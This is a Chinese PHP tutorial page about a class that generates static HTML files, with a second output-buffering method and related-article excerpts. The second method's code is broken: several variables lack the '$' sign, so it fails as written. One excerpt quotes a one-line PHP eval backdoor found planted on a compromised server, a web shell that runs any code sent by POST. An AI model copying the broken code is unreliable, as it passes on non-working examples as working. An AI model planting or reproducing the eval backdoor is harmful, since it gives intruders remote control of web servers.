php静态文件生成类实例分析

yipeiwu_com6年前PHP代码库

本文实例讲述了php静态文件生成类。分享给大家供大家参考。

具体实现方法如下:

复制代码 代码如下:
defined('phpjb51') or die(header("http/1.1 403 not forbidden"));
          
class include_createstatic            
{           
               
    private $htmlpath = '';           
    private $path = '';           
    public $monthpath = '';           
    private $listpath = '';           
    private $content = '';           
    private $filename = '';           
    private $extname = '.html';           
               
    public function createhtml($type,$desname,$content)           
    {           
        $this->htmlpath = getappinf('htmlpath');           
        if (!file_exists($this->htmlpath))           
        {           
            @mkdir($this->htmlpath);           
        }           
        $this->path = $this->htmlpath.$this->monthpath.'/';           
        if (!file_exists($this->path))           
        {           
            @mkdir($this->path);           
        }           
        $this->listpath = $this->htmlpath.'list/';           
        if (!file_exists($this->listpath))           
        {           
            @mkdir($this->listpath);           
        }           
        switch ($type)           
        {           
            case 'index':           
                $this->filename = $desname;           
                break;           
            case 'list':           
                $this->filename = $this->listpath.$desname;           
                break;           
            case 'view':           
                $this->filename = $this->path.$desname;           
                break;           
        }           
        $this->filename .= $this->extname;           
        $this->content = $content;           
    }           
               
    public function write()           
    {           
        $fp=fopen($this->filename,'wb');           
        if (!is_writable($this->filename))           
        {           
            return false;           
        }           
        if (!fwrite($fp,$this->content))           
        {           
            return false;           
        }           
        fclose($fp);           
        return $this->filename;           
    }           
}     
//方法二
if(file_exists("./index.htm"))//看静态index.htm文件是否存在
{
$time=time();
//文件修改时间和现在时间相差?的话,直接导向htm文件,否则重新生成htm
if(time-filemtime("./index.htm")< 600)
{
header("location:classhtml/main.htm");
}
}
//在你的开始处加入ob_start();
ob_start();
//首页内容,就是你的动态部分了
//在结尾加入ob_end_clean(),并把本页输出到一个变量中
$temp=ob_get_contents();
ob_end_clean();
//写入文件
$fp=fopen("./index.htm",'w');
fwrite(fp,temp) or die('写文件错误');
//echo"生成html完成!";

希望本文所述对大家的php程序设计有所帮助。

相关文章

PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代...

smarty静态实验表明,网络上是错的~呵呵

复制代码 代码如下:<?   require_once("Smarty/libs/Smarty.class.php");   $smarty...

PHP正则匹配中英文、数字及下划线的方法【用户名验证】 原创

本文实例讲述了PHP正则匹配中英文、数字及下划线的方法。分享给大家供大家参考,具体如下: 一、问题: 对于用户注册时的用户名要求由中英文、数字或下划线组成,不得含有其他字符。 二、解决方...

php将字符串转化成date存入数据库的两种方式

第一种方式 复制代码 代码如下: $date= date("Y-m-d",strtotime("2011-12-12")); 第二种方式 复制代码 代码如下: $date = "201...

php基础知识:类与对象(1)

php基础知识:类与对象(1)

类的定义:   以关键字 class 开头,后面跟着类名,可以是任何非 PHP 保留字的名字。后面跟着一对花括号,里面包含有类成员和方法的定义。伪变量$this可以在...